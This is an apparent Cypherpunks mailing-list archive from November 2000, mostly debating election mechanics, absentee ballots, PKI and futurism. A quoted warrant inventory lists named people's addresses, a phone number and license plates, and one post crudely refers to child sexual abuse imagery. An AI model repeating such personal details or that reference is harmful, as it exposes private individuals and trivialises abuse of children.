notebook 35 Documents re: real propert for Jeffery Gordon, KM Cummings, DMV Info 36 Documents re: Ryan Lund, DMV Records, Email from Mike to Lou Bell addressed to Jim; Name/Address search 37 Notebook on KOCH 38 Mapquest documents, fax machine memory printout 39 One printed metroscan property profile re: SABAN, 10 pages, 5 photocopies of documents re: SABAN From njohnson at interl.net Mon Nov 13 20:21:34 2000 From: njohnson at interl.net (Neil Johnson) Date: Mon, 13 Nov 2000 22:21:34 -0600 Subject: CDR: Re: The Ant and the Grasshopper, Election Version References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> <3A10360A.6C87DE38@ccs.bbk.ac.uk> <20001113175319.A24189@cluebot.com> Message-ID: <022f01c04df2$6104c1e0$0100a8c0@nandts> Tim, Probably not a good idea to use ants as the heroes in YOUR story since they are probably the best example of the subjugation of individual freedoms to the goals of a society. However, I found an interesting discussion of the fable and it's variants at: http://www.progress.org/archive/antgrass.htm I thought this version was interesting: The ants work hard all summer, producing products and services, such as in manufacturing, farming, and transportation. Grasshoppers laugh and dance and play all summer, without producing anything. Come winter though, the productive ants are hungry and shivering, while the unproductive grasshoppers are warm and well-fed! How did this happen? Easy: the grasshoppers own the land the hardworking ants live and work on. The grasshoppers collect land taxes from the ants, but call it land "rent". Since the grasshoppers did not produce the land, these land taxes (land "rent" payments) are really welfare payments to grasshoppers. Some grasshoppers are somewhat productive, providing building maintenance for their tenants. But the part of the "rent" that is simply a payment for using the land, which the grasshoppers did not make, is simply a land tax, used for welfare payments to grasshopper- landlords. Some grasshoppers used to make the mistake of calling these land payments by what they are: land taxes. But then libertarians raised a fuss, since they're against taxes. So, the grasshoppers changed the name, and started calling the land payments land "rent". Then the libertarians said "Oh, that's different. Go right ahead and collect these land payments from the ants." And they did. And they still do. This version of the fable is by Mike O'Mara. On the humorous side: (See http://www.klydemorris.com/society.htm ). And I know Tim, People like me need killing. Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC From auto9950013 at hushmail.com Mon Nov 13 19:23:17 2000 From: auto9950013 at hushmail.com (auto9950013 at hushmail.com) Date: Mon, 13 Nov 2000 22:23:17 -0500 (EST) Subject: CDR: re:The Ant and the Grasshopper, Election Version Message-ID: <200011140354.TAA02548@user3.hushmail.com> Tim doe's have some real talant. Joeseph Goebbels would be proud. At 10:17 PM 11/13/00 , Tim May Ranted: > >The Ant and the Grasshopper, Election Version > > >[Note: I wrote everything here except the "Original." I mention this >because it is routine for people to pass around various versions of >the "Ant and the Grasshopper" without indicating who wrote which >parts. So, Tim May wrote all but the opening set-up paragraph. Tim >May, 11-13-2000] From njohnson at interl.net Mon Nov 13 20:42:16 2000 From: njohnson at interl.net (Neil Johnson) Date: Mon, 13 Nov 2000 22:42:16 -0600 Subject: CDR: Tim's JIHAD Message-ID: <025401c04df5$44933c00$0100a8c0@nandts> I just received this e-mail from somebody. They sent it to the members of our local HAM radio club: Michael Reagan's Mail Call and Debate http://www.reagan.com/ ================================================== Dear Friend, Conservative friends -- mobilize in support of George W. Bush before the courts and the liberal media hijack this election. Go to http://www.electionintegrity2000.com/home/h.cfm right now to see how you can help. See email below for more info. Don't forget to pass this message on to your friends. Michael Reagan -----Original Message----- From: Bruce Eberle Sent: Thursday, November 09, 2000 3:57 PM To: Michael Reagan Subject: FW: Al Gore is trying to steal the election URGENT NEWSFLASH -- ELECTION INTEGRITY 2000 Conservative voters speak up!!! Democrat Al Gore's campaign has just announced that they will not accept or concede the election results in Florida even after a recount. Liberal lawyers and activists like Jesse Jackson are swarming into Florida to file lawsuits and demand that the election results be overturned. Friend, we need you and EVERY SINGLE ONE OF YOUR CONSERVATIVE FRIENDS to sign an e-mail petition to Florida's Division of Election Director, Clay Roberts, and ask for a certified announcement of victory for George W. Bush right now. The longer the election results are up in the air, the more likely it will be for Al Gore and the Democrats to steal this election. Help preserve our Constitution and protect the fair election results by visiting http://www.electionintegrity2000.com/home/h.cf (or http://www.algorelost.org/home/h.cfm) and sending your petition to Clay Roberts right now. And PLEASE forward this urgent e-mail to every single person you know!!! For Election Integrity, Bruce Eberle http://www.algorelost.org/home/h.cfm AOL FRIENDLY LINK: AlGoreLost.com If you would like to be removed from this list visit: http://www.webforums.com/forums/g-read/msa21.10.html Your address is on our list as gdmcms at iowatelecom.net ================================================== Powered by Webforums Copyright 1999 Waveshift, Inc. Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC From declan at well.com Mon Nov 13 20:27:17 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 13 Nov 2000 23:27:17 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: ; from tcmay@got.net on Mon, Nov 13, 2000 at 03:07:40PM -0800 References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> <3A10360A.6C87DE38@ccs.bbk.ac.uk> <20001113175319.A24189@cluebot.com> Message-ID: <20001113232717.A27646@cluebot.com> On Mon, Nov 13, 2000 at 03:07:40PM -0800, Tim May wrote: > > I did some more digging on various Florida sites which discuss > absentee ballots. > > It looks like Florida makes a clear distinction between what I'll > call "ordinary absentee ballots" and what I'll call "military > absentee ballots." Yes. Except the military absentee ballot category, under federal law, include U.S. citizens living abroad permanent-wise. I posted the language over the weekend. Here it is again: http://www.military.com/Content/MoreContent1/?file=vote_uocava (5) "overseas voter" means -- (A) an absent uniformed services voter who, by reason of active duty or service is absent from the United States on the date of the election involved; (B) a person who resides outside the United States and is qualified to vote in the last place in which the person was domiciled before leaving the United States; or (C) a person who resides outside the United States and (but for such residence) would be qualified to vote in the last place in which the person was domiciled before leaving the United States. -Declan From declan at well.com Mon Nov 13 20:31:43 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 13 Nov 2000 23:31:43 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: ; from tcmay@got.net on Mon, Nov 13, 2000 at 02:41:14PM -0800 References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> <3A10360A.6C87DE38@ccs.bbk.ac.uk> <20001113175319.A24189@cluebot.com> Message-ID: <20001113233143.B27646@cluebot.com> On Mon, Nov 13, 2000 at 02:41:14PM -0800, Tim May wrote: > At 5:53 PM -0500 11/13/00, Declan McCullagh wrote: > >On Mon, Nov 13, 2000 at 11:08:01AM -0800, Tim May wrote: > >> A "vote at home" protocol is vulnerable to all sorts of mischief that > >> has nothing to do with hackers intercepting the vote, blah blah. > > > >Righto. Absentee ballots require a witness, usually an officer (if > >you're in the military) or a notary-type, to reduct in par tthe > >intimidation problem. > > > California absentee ballots require no such thing. My parents, as I > said, voted absentee California for many years. They simply filled > out their absentee ballots and dropped them in the mailbox. Ah, I was talking about Florida law. To wit: a. One witness, who is a registered voter in the state, must affix his or her signature, printed name, address, voter identification number, and county of registration on the voter's certificate. Each witness is limited to witnessing five ballots per election unless certified as an absentee ballot coordinator. A candidate may not serve as an attesting witness. b. Any notary or other officer entitled to administer oaths or any Florida supervisor of elections or deputy supervisor of elections, other than a candidate, may serve as an attesting witness. -Declan From declan at well.com Mon Nov 13 20:34:52 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 13 Nov 2000 23:34:52 -0500 Subject: CDR: Bell's warrant return inventory In-Reply-To: ; from ravage@EINSTEIN.ssz.com on Mon, Nov 13, 2000 at 05:21:00PM -0600 References: Message-ID: <20001113233452.C27646@cluebot.com> Or store a backup offsite. He complained to me when I interviewed him for my article that he now has something like six computers seized by the Feds so far, going back to 1997. That, he said, sets his investigation into their nefarious misdeeds back six months or so. I'm not in a position to offer him advice, and even if I did want to, it's rather late in the process. It sure seems to me, however, that with all the free hosting services (Geocities, Tripod) around, it would be trivial to FTP them somewhere at little or no cost. -Declan On Mon, Nov 13, 2000 at 05:21:00PM -0600, Jim Choate wrote: > > Geesh, if Bell is so damn bright how come he hasn't figured out how to > encrypt this shit... > > God, he wants to be busted. > > ____________________________________________________________________ > > He is able who thinks he is able. > > Buddha > > The Armadillo Group ,::////;::-. James Choate > Austin, Tx /:'///// ``::>/|/ ravage at ssz.com > www.ssz.com .', |||| `/( e\ 512-451-7087 > -====~~mm-'`-```-mm --'- > -------------------------------------------------------------------- > > On Mon, 13 Nov 2000, Nomen Nescio wrote: > > > Declan wrote: > > > > [snip] > > > > > I've included links to the original documents in this article: > > > http://www.cluebot.com/article.pl?sid=00/11/11/101218&mode=nested > > > > from the 11/06/2000 Warrant Return Inventory > > (http://www.politechbot.com/docs/bell0004.jpg): > > > > 1 White Paper with address of 701 5th Seattle, 206-346-1806 > > 2 Info Space People Search results: SHERMAN, BRENT 4 pages > > 3 Internet Map Search results: 392 Alameda Ave, Astoria Oregon > > 4 Email Message, re: August 18/19 > > 5 Copies US Treasury Check, Copies Edison Intern'l common stock dividend > > checks > > 6 Clark County Receipt "330197"; Clark Co. Receipt $16.00; Note w/ > > license number 616-AQQ > > 7 Not seized > > 8 Handwritten document with vehicle license plates > > 9 Paper documents relating to JEFF/JEFFREY GORDON > > 10 Six Compact Disc ROM's relating to Oregon Dept of Motor Vehicles > > Database > > 11 Three phone disc CD Rom's - Digital Directory Assistance, INC > > 12 Floppy dis; Power transformer attached to computer > > 13 Email from Robert East to Jim Bell > > 14 Printed documents related to Ryan Lund > > 15 TIGTA fax-dated 7/31/00 > > 16 One envelope to James Bell re: Lund; Doc's re: LUND; color print of map > > re: 1116 NE 58th, Vancouver > > 17 Computer floppy Disks - six 3.5 inch > > 18 One floppy disk, "ATF Thug Hunt" handwritten on label > > 19 One spiral notebook of handwritten notes related to JEFF GORDON > > 20 Three pads of paper w/ GPS readings; w/King, Sundown, Jose Martinez, > > License Plates; w/Riten King Sundown > > 21 Various documents, computer printouts re: Lund, Fed Spy, DMV records > > 22 Twelve stapled pages of DMV printouts re: Bend, OR, > > 23 Five stapled pages of DMV printouts, concerning CIA mapquest maps > > 24 US District Court filings by RYAN LUND, research on CHAD PETERSON, docs > > on W. Martin > > 25 One printed sheet each, re: LISA STEVENSON, JEFFERY GORDON > > 26 Folder marked "Spy Research" > > 27 One blue three ring binder containing documents re: SABAN and SUNDOWN > > 28 Identification and criminal history section "WSP Watch re: Lund, > > thomas, Oct 27, 1971, 6/23/00 > > 29 Mapquest print for address "8 Towhee Ln, Bend, OR, 2 pages > > 30 CPU: Gateway, ATX Tower, Serial 0018625569, manf 5/10/00 > > 31 CPU: generic, no serial number > > 32 CPU: generic, no serial number > > 33 Various photographs, voter registration records, Ryan Lund Documents, > > Greg Daly, DMV Info > > 34 Documents re: Ryan Lund, one notebook > > 35 Documents re: real propert for Jeffery Gordon, KM Cummings, DMV Info > > 36 Documents re: Ryan Lund, DMV Records, Email from Mike to Lou Bell > > addressed to Jim; Name/Address search > > 37 Notebook on KOCH > > 38 Mapquest documents, fax machine memory printout > > 39 One printed metroscan property profile re: SABAN, 10 pages, 5 > > photocopies of documents re: SABAN > > > From bill.stewart at pobox.com Tue Nov 14 00:54:22 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Tue, 14 Nov 2000 00:54:22 -0800 Subject: CDR: Re: A secure voting protocol In-Reply-To: <3A10360A.6C87DE38@ccs.bbk.ac.uk> References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> Message-ID: <3.0.5.32.20001114005422.009bc3a0@idiom.com> At 06:42 PM 11/13/00 +0000, Ken Brown wrote: >And us non-individualistic Brits are so non-paranoid that we still won't >accept voting machines or mechanical counting. All done by crosses on >the paper, counted by hand, with the candidates in the room watching the >counters. That's nice and trustable. Neither George Bush nor Al Gore has the time to watch 100,000,000 ballots counted, though one could argue that we'd be better off if they couldn't take office until they'd sat down together and done it, or until one of them had conceded that the other was more patient :-) Even counting all the ballots in a large city has to be parallelized. Of course, political parties are often good at that, at least parties big enough to be successfully elected. >Which is the best defence against fraud. Everything is >literally out in the open, on big tables, with the candidates there, and >paranoid card-player rules - all boxes sealed at the polling station and >opened again at the count before witnesses, no-one except the counters & >Returning Officer (a sort of election supervisor) to physically touch >the ballots, no hands under the table, the counters can't even wear >jackets in some places. It works. The difficult problems are making sure that the ballot box wasn't stuffed, and that the people who voted all existed and were unique, and that their votes weren't obtained through bribery (though deception is fine :-) Here in the US, it's traditional that ballot boxes (where they're used) are sealed at the polling place and ostensibly only opened with witnesses, but fraud is nonetheless possible and perhaps still practiced on a small scale. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From bill.stewart at pobox.com Tue Nov 14 01:00:49 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Tue, 14 Nov 2000 01:00:49 -0800 Subject: CDR: Re: A secure voting protocol In-Reply-To: <20001113175319.A24189@cluebot.com> References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> <3A10360A.6C87DE38@ccs.bbk.ac.uk> Message-ID: <3.0.5.32.20001114010049.00aee9a0@idiom.com> At 05:53 PM 11/13/00 -0500, Declan McCullagh wrote: >On Mon, Nov 13, 2000 at 11:08:01AM -0800, Tim May wrote: >> A "vote at home" protocol is vulnerable to all sorts of mischief that >> has nothing to do with hackers intercepting the vote, blah blah. > >Righto. Absentee ballots require a witness, usually an officer (if >you're in the military) or a notary-type, to reduct in par tthe >intimidation problem. The state of Oregon uses vote-by-mail for their elections, though I think there's an option for physical delivery if you want. I'd be surprised if they require witnesses - if anything, that encourages your spouse to look at how you voted. I've never been required to have witnesses for voting with absentee ballots in New Jersey or California. Besides, in places like Chicago or Tammany-era New York City, it'd be easy for the Party to obtain notaries to witness ballots. "OK, Mr. Jones, the stamp on your ballot, and here's the stamp on your bottle of whiskey. Next, please!" and optionally to put the correct party ballots in the correct box and the incorrect party ballots in the round container. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From nobody at remailer.privacy.at Mon Nov 13 17:06:01 2000 From: nobody at remailer.privacy.at (Anonymous) Date: Tue, 14 Nov 2000 02:06:01 +0100 Subject: CDR: Extra-Absentee ballots Message-ID: <6820b4690db9a9ec13e61d2486e1cd53@remailer.privacy.at> Tim May wrote: > I did some more digging on various Florida sites which discuss > absentee ballots. [snip] > If the voter is unable to mail or personally deliver the ballot, the > voter may designate in writing a person to return the ballot. The > designated person may NOT return more than two (2) absentee ballots > per election, other than his or her own ballot, except that > additional ballots may be returned for members of the designee's > immediate family (as defined in the section on requesting absentee > ballots). The designee must provide a written authorization from the > voter as well as present his or her own picture identification. So if the Americans aboard the International Space Station were civilians from Florida, their franchise could be accommodated so long as they had willing "immediate family..."? Do those designees have to meet voter qualifications? i.e. could Joe Astronaut's 8yrold daughter (and Freedom user, of course) fill out daddy's ballot and take it to her local grade school voting place so long as she had daddy's written authorization? Given that many astronauts are active service members, how do they fulfill the following: > If the FPCA is not available, phone or send a written request to the > Supervisor of Elections Office, 300 E. 4th Street, Room 112, Panama > City, FL 32401-3093. ... > U.S. Embassies and Consulates can assist in completing, witnessing, > notarizing and mailing FPCA forms, absentee ballots and other election > materials. Federal portions of general election and presidential > preference primary ballots voted by persons outside the U.S. are counted > if postmarked no later than election day and received within 10 days of > the election. No mention of whether immediate family members can be "designated" (power of attorney?) Think of the awful jading lesson our children might learn if they found out their hero, Joe Astronaut, most-patriotic-man-in-the-universe didn't, or more importantly, *couldn't* perform his civic duty. From jya at pipeline.com Tue Nov 14 02:48:25 2000 From: jya at pipeline.com (John Young) Date: Tue, 14 Nov 2000 05:48:25 -0500 Subject: CDR: Re: Bell's warrant return inventory In-Reply-To: <20001113233452.C27646@cluebot.com> References: Message-ID: <200011141054.FAA30048@maynard.mail.mindspring.net> What's missing from the inventory is material which would disclose other ongoing investigations. And how to tell which material is of genuine interest and which is listed for camouflage. The public docs never disclose everything but are often used to misinform. Jim is being used as bait. Whether he knows that doesn't matter. To ponder: How long has he and AP been used for bait? "I love this list." From tabu_luv at yahoo.com Tue Nov 14 06:46:21 2000 From: tabu_luv at yahoo.com (tabu_luv at yahoo.com) Date: Tue, 14 Nov 2000 06:46:21 -0800 (PST) Subject: CDR: Yahoo! Auto Response Message-ID: <20001114144621.43238.qmail@mta436.mail.yahoo.com> Next time, email someone who cares. OK! -------------------- Original Message: From Lynn.Wheeler at firstdata.com Tue Nov 14 08:01:14 2000 From: Lynn.Wheeler at firstdata.com (Lynn.Wheeler at firstdata.com) Date: Tue, 14 Nov 2000 08:01:14 -0800 Subject: Public Key Infrastructure: An Artifact... Message-ID: <85256997.00577785.00@lnsunr02.fl.firstdata.com> As an aside ... AADS (http://www.garlic.com/~lynn/ ) relies on existing business processes that provide secure bindings in account records ... just adding public key & digital signature to existing authentication processes for non-face-to-face and/or face-to-face transactions (i.e. the meaning of what is in the account bindings continues to be what the business processes have defined those meanings to be). existing e-commerce is straight forward because it operates almost totally within existing account-based business processes ... and the business transactions tend to include more complex bindings from the acocunt records (than just authentication) ... things like real-time credit-limit, open-to-buy, running totals, month-to-date and/or year-to-date activity, etc. the original PKI target from the early '80s for offline email authentication was a problem since it mostly any kind of authentication binding processes. "R. A. Hettinga" on 11/11/2000 11:25:35 AM Please respond to "R. A. Hettinga" From anonymous at openpgp.net Tue Nov 14 05:01:18 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Tue, 14 Nov 2000 08:01:18 -0500 Subject: CDR: sniffing plumes for DNA Message-ID: Some time back there was a thread on obtaining DNA samples via normally shed particles in the air behind you. Found this: FEED: Theres been some talk of using the aura sniffer to do DNA analysis. GS: Yeah. But mitochondrial DNA -- not nuclear DNA. Were releasing skin all the time, so its not like being requested to give a DNA sample and having to give consent. You cant keep your skin from coming off. So it is possible to sample mitochondrial DNA from the airborne skin flakes. Of course, before this was ever done it would have to go through the same rigorous procedure and scrutiny by the ACLU and so forth that the other technology does. Im not advocating it. Im just saying that the possibility exists. The possibility also exists to sample a wide variety of medical conditions non-obtrusively. And I think that could end up being a valuable instrument for medical diagnosis. http://www.feedmag.com/re/re381.2.html From ravage at ssz.com Tue Nov 14 06:06:11 2000 From: ravage at ssz.com (Jim Choate) Date: Tue, 14 Nov 2000 08:06:11 -0600 (CST) Subject: CDR: Re: Katz /. piece on improving "political technology" In-Reply-To: Message-ID: On Tue, 14 Nov 2000, R. A. Hettinga wrote: > of attitude adjustment. After all we sell votes in corporations all the > time, and, sooner or later, we're going to treat our force-control > structures as non-monopolistic businesses instead of monopolistic > nation-states. Yeah, yeah, yeah. Unfortunately Katz'a and your crypto-anarchy-economic understanding and predictions are based in 18'th/19'th/20'th century concepts and views. They unfortunately bear little resemblence to the motivation of those actualy living the event. Actualy it won't. When the society gets to this level it no longer needs such structures. The individual controls enough resources directly that such assaults, while devastating to the target, will render the attacker in an equaly sorry state. The quantity and types of controlled resources are also sufficient to elleviate the 'homeland' motivation. Nation states won't exist in that sort of environment either, for the same sorts of reasons. There will be giant manufacturing firms for hardware. This won't of course come to pass until mankind is well off this mudball. There simply aren't enough resources on a sigle planet to support even a small group of such technologist for more than a few years. Certainly not the 100's of Billions such a society will require. Consider Kurzweill's predictions of the last few days for example. With such a technology many of the current business and social institutions become questionable at best. In a very real sense the concept of 'business' and 'profit' become problematic but let's not upset anyone too badly to start. The singular aspect of the crypto-anarcy view that is most laughable is that almost everyone runs around thinking the world will be the same, there just won't be taxes or cops/soldiers. How naive. 99% of the current social meme's in your head are obsolete today, almost all of them will be worthless 50 to 100 years from now when this sort of potential really begins to arrive. With the taxes and cops demise will go the vast majority of day to day trappings you're familiar with. Look around, are you willing to give this ALL(!!!) up? It isn't pick and choose. Autarch is NOT anarchy and they're not 1-to-1 mappable in axioms. If you want this utopian vision (it will have it's own crosses to bear, be warned) as soon as possible then put every iota of energy into getting mankind off this mudball permanently. Consider the impact of current neurological research into human cognition, fundamental limits to capacity are being found. Without biotechnologies ability to address this many of tomorrows problems won't get resolved and this utopia won't happen (can you say "bye bye dino"?). The current religious, social (incl. religious), and economic institutions can't survive in a world of such morphed humans who live 200 years. I can suggest "Man after Man" by K. Drexler. The reality is that while most of us will reap the benefits of life extension we'll be locked out of the majority of future human development because we were born too early to genengineered in the womb. Respected and pitied at the same time. Unless of course the human mind isn't an artifact of the ghost in the machine and really is just a machine. In that case transfer into a 'new' body would be possible. My guess is this is about 200 years off. The odds are that about 50% of those people reading this who don't die in the next 20 years will live to see it. Where's your fucking stock market in that sort of world? It isn't. The technology is so pervasive and 'open source' while the pockets of humanity are so wide spread that such entities can't exist. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From Gerry_Inman at mony.com Tue Nov 14 05:17:10 2000 From: Gerry_Inman at mony.com (Gerry_Inman at mony.com) Date: Tue, 14 Nov 2000 08:17:10 -0500 Subject: CDR: Please take me off your mailing list! Message-ID: <85256997.00491FC4.00@snt-smtp-01.soc.mony.com> From rah at shipwright.com Tue Nov 14 05:22:16 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Tue, 14 Nov 2000 08:22:16 -0500 Subject: CDR: Katz /. piece on improving "political technology" Message-ID: A non-text attachment was scrubbed... Name: not available Type: application/pgp Size: 2439 bytes Desc: not available URL: From ravage at EINSTEIN.ssz.com Tue Nov 14 06:39:07 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Tue, 14 Nov 2000 08:39:07 -0600 (CST) Subject: CDR: Correction Re: Katz /. piece on improving "political technology" In-Reply-To: Message-ID: Doh! Make that Dixon, not Drexler. That's what I get for mixing my drugs. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- On Tue, 14 Nov 2000, Jim Choate wrote: > > On Tue, 14 Nov 2000, R. A. Hettinga wrote: > > > of attitude adjustment. After all we sell votes in corporations all the > > time, and, sooner or later, we're going to treat our force-control > > structures as non-monopolistic businesses instead of monopolistic > > nation-states. > > Yeah, yeah, yeah. Unfortunately Katz'a and your crypto-anarchy-economic > understanding and predictions are based in 18'th/19'th/20'th century > concepts and views. They unfortunately bear little resemblence to the > motivation of those actualy living the event. > > Actualy it won't. When the society gets to this level it no longer needs > such structures. The individual controls enough resources directly that > such assaults, while devastating to the target, will render the attacker > in an equaly sorry state. The quantity and types of controlled resources > are also sufficient to elleviate the 'homeland' motivation. Nation states > won't exist in that sort of environment either, for the same sorts of > reasons. There will be giant manufacturing firms for hardware. > > This won't of course come to pass until mankind is well off this mudball. > There simply aren't enough resources on a sigle planet to support even a > small group of such technologist for more than a few years. Certainly not > the 100's of Billions such a society will require. > > Consider Kurzweill's predictions of the last few days for example. With > such a technology many of the current business and social institutions > become questionable at best. In a very real sense the concept of > 'business' and 'profit' become problematic but let's not upset anyone too > badly to start. > > The singular aspect of the crypto-anarcy view that is most laughable is > that almost everyone runs around thinking the world will be the same, > there just won't be taxes or cops/soldiers. How naive. 99% of the current > social meme's in your head are obsolete today, almost all of them will be > worthless 50 to 100 years from now when this sort of potential really > begins to arrive. With the taxes and cops demise will go the vast majority > of day to day trappings you're familiar with. Look around, are you willing > to give this ALL(!!!) up? It isn't pick and choose. > > Autarch is NOT anarchy and they're not 1-to-1 mappable in axioms. > > If you want this utopian vision (it will have it's own crosses to bear, be > warned) as soon as possible then put every iota of energy into getting > mankind off this mudball permanently. > > Consider the impact of current neurological research into human cognition, > fundamental limits to capacity are being found. Without biotechnologies > ability to address this many of tomorrows problems won't get resolved and > this utopia won't happen (can you say "bye bye dino"?). The current > religious, social (incl. religious), and economic institutions can't > survive in a world of such morphed humans who live 200 years. I can > suggest "Man after Man" by K. Drexler. > > The reality is that while most of us will reap the benefits of life > extension we'll be locked out of the majority of future human development > because we were born too early to genengineered in the womb. Respected and > pitied at the same time. > > Unless of course the human mind isn't an artifact of the ghost in the > machine and really is just a machine. In that case transfer into a 'new' > body would be possible. My guess is this is about 200 years off. The odds > are that about 50% of those people reading this who don't die in the next > 20 years will live to see it. > > Where's your fucking stock market in that sort of world? It isn't. The > technology is so pervasive and 'open source' while the pockets of humanity > are so wide spread that such entities can't exist. > > ____________________________________________________________________ > > He is able who thinks he is able. > > Buddha > > The Armadillo Group ,::////;::-. James Choate > Austin, Tx /:'///// ``::>/|/ ravage at ssz.com > www.ssz.com .', |||| `/( e\ 512-451-7087 > -====~~mm-'`-```-mm --'- > -------------------------------------------------------------------- > > From ravage at einstein.ssz.com Tue Nov 14 06:44:35 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Tue, 14 Nov 2000 08:44:35 -0600 (CST) Subject: CDR: Predicting a succesful society Message-ID: It get's off it's home planet permanently. The difference in scale of resource potential between a planet bound, versus a (multi-)planetary system bound society are incomparable. Issues of life-span are generaly irrelevant, the two technologies develop hand in hand (there will of course be some synchronisation issues in particular instances) and will offset any fundamental distance issue. In general, such societies will be very rare. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ptrei at rsasecurity.com Tue Nov 14 05:57:49 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Tue, 14 Nov 2000 08:57:49 -0500 Subject: CDR: Amazon's new user interface. Message-ID: http://www.amazon.com/exec/obidos/subst/home/all-stores-ballot.html/106-5432 692-8816419 It's worth looking at. Peter From anarchie at brimstone.suburbia.net Mon Nov 13 14:03:16 2000 From: anarchie at brimstone.suburbia.net (Peter Tonoli) Date: Tue, 14 Nov 2000 09:03:16 +1100 (EST) Subject: CDR: Re: [Fwd: First Quarterly Cryptuk Meeting on 29Nov2000] (fwd) In-Reply-To: Message-ID: > Date: Thu, 9 Nov 2000 22:43:52 GMT > From: Antonomasia > To: cryptuk-announce at notatla.demon.co.uk > Subject: First Quarterly Cryptuk Meeting on 29Nov2000 > > Wed 29 Nov 2000: Ben Laurie on programming with OpenSSL > > "The Old English Club" on the first floor of "F.T.'s Free House" in > Savage Gardens, EC3. Would anyone be interested in a similar meeting in Australia, specifically Melbourne? If so, reply to me personally. Peter. From tcmay at got.net Tue Nov 14 09:55:01 2000 From: tcmay at got.net (Tim May) Date: Tue, 14 Nov 2000 09:55:01 -0800 Subject: CDR: Re: A secure voting protocol In-Reply-To: <3A117797.74983EBB@sunder.net> References: <3A117797.74983EBB@sunder.net> Message-ID: At 12:34 PM -0500 11/14/00, sunder wrote: >"Trei, Peter" wrote: >> One solution I've seen used in 3rd world countries is to require people >> who have just voted to dip a forefinger into a cup of intense, penetrating >> dye, which they are very unlikely to be able to remove in one day. > >Wouldn't some sort of wax spread on the hand prevent such a dye from >working once peeled off? i.e. I'm thinking along the lines of liquid >latex or crazy glue like substances... :) > The dye works well. While hackers like us can _imagine_ ways to circumvent the dye, most such circumventions are hard to actually pull off. In any case, a better solution (no pun intended) than the current system in which folks in Milwaukee got to vote multiple times. And better for various reasons than requiring identification credentials. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From blah at blah.net Tue Nov 14 10:03:44 2000 From: blah at blah.net (blah at blah.net) Date: Tue, 14 Nov 2000 10:03:44 -0800 Subject: CDR: Infiltrating a Spy Conference Message-ID: <200011141803.KAA26542@zappa.realimpact.net> I thought you might find this story interesting: "Infiltrating a Spy Conference" http://www.alternet.org/story.html?StoryID=10014 ------------------------------------- This story has been forwarded to you from http://www.alternet.org by blah at blah.net. From tcmay at got.net Tue Nov 14 10:04:42 2000 From: tcmay at got.net (Tim May) Date: Tue, 14 Nov 2000 10:04:42 -0800 Subject: CDR: Re: Close Elections and Causality In-Reply-To: <3A111201.CCF6E598@ccs.bbk.ac.uk> References: <3A111201.CCF6E598@ccs.bbk.ac.uk> Message-ID: At 10:20 AM +0000 11/14/00, Ken Brown wrote: > > >But maybe to redraw the boundaries. That's a common problem in Britain. >Every now and again some government (almost always Conservative, for >reasons to do with gerrymandering I suspect) gets it into its head that >it would be a Good Thing if counties were more or less the same size so >tried to amalgamate smaller ones and split larger ones and "rationalize" >boundaries. You _do_ know, I assume, that the very term "gerrymandering" came from experiences in the U.S.? (Not to be confused with "jerrymathersing," which refers to the false claim that a person died in a war.) --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From jya at pipeline.com Tue Nov 14 07:09:54 2000 From: jya at pipeline.com (John Young) Date: Tue, 14 Nov 2000 10:09:54 -0500 Subject: CDR: Re: Predicting a succesful society In-Reply-To: Message-ID: <200011141515.KAA26382@maynard.mail.mindspring.net> Jim Choate wrote: >It get's off it's home planet permanently. [and more.] Yes, thank you very much, indeed, absolutely. A suave-tailored and barbered and elocuted gentleman who runs UK's Internet Watch aroused the anti-censorship crowd with the query "should we allow an image of a penis up an infant's anus." "Absolutely not," the crowd vowed. Debate on splitting the profane image from the urbane text ensued. Text should be unfettered but not pix, it was agreed. The uncensorable textual image mouthed by the Internet Watch barker hung in the air to arouse unanimity on what's not permissable in a succesful secret-vice society. Onion kiddie-chat rooms, absolutely. From k.brown at ccs.bbk.ac.uk Tue Nov 14 02:20:49 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Tue, 14 Nov 2000 10:20:49 +0000 Subject: CDR: Re: Close Elections and Causality References: Message-ID: <3A111201.CCF6E598@ccs.bbk.ac.uk> Jim Choate wrote: > I'd be 